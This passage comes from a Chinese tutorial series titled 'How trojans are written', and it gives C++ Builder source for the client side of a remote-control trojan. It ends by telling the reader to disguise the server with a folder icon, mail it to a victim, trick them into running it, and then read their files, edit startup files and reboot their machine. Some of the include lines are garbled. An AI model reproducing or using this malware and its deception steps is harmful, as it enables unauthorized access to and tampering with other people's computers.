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木马是如何编写的(三)(2)

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以
下头文件:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
  至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以
上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘
胜追击--搞定客户端程序(Client)!
  客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和Server
Socket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最
后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标
机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示
命令执行的结果的。(头是不是有点大了?!)
  双击Button1,在Button1Click事件中添加如下代码:
{
if((Edit2->Text=="")||(Edit3->Text==""))return;
file://如/果输入IP地址框或输入端口号框有一个为空,就什么也不作
ClientSocket1->Address=Edit2->Text;
file://目/标IP地址
ClientSocket1->Port=atoi(Edit2->Text.c_str());
file://目/标端口号,本例中的44444
ClientSocket1->Open();
file://连/接!
}
  选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如
下代码:
{
if((Edit1->Text=="edit conf 1")||(Edit1->Text=="edit conf 2"))
file://如/果是要编辑autoexec.bat或config.sys
Socket->SendText(Edit1->Text+Edit4->Text);
file://发/送命令和欲添加的语句
else
Socket->SendText(Edit1->Text);
file://否/则只发送命令
}
  双击OnRead事件,在ClientSocket1Read下添加如下代码:
{
AnsiString ReadIn = Socket->ReceiveText();
file://读/入收到的返回信息
Edit4->Text="";
file://清/空编辑框
FILE *fp;
fp = fopen("ReadIn.tmp","w");
file://建/立一个临时文件ReadIn.tmp
fwrite(ReadIn.c_str(),1,10000,fp);
file://写/入信息
fclose(fp);
file://关/闭之
Edit4->Lines->LoadFromFile("ReadIn.tmp");
file://在/编辑框中显示返回的信息
}
  为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1
的OnKeyPress命令,输入:
{
if(Key==VK_RETURN)Button1Click(Sender);
file://如/果敲的是回车键,就和点击Button1一样的效果
}
  最后再添加以下头文件:
#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"
  终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好
完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的
图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于
隐藏自己。
  接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后
(这不用我教吧?),就启动Client程序,敲入“edit conf 1”就编辑Autoexec.bat文
件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dir xxx”(xxx是目录名)就
可以看到目录和文件,敲“type xxx”就可以察看任何文件,输入“open”,弹出目标
机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,
输入“reboot”就启动目标机……不用我多说了吧?

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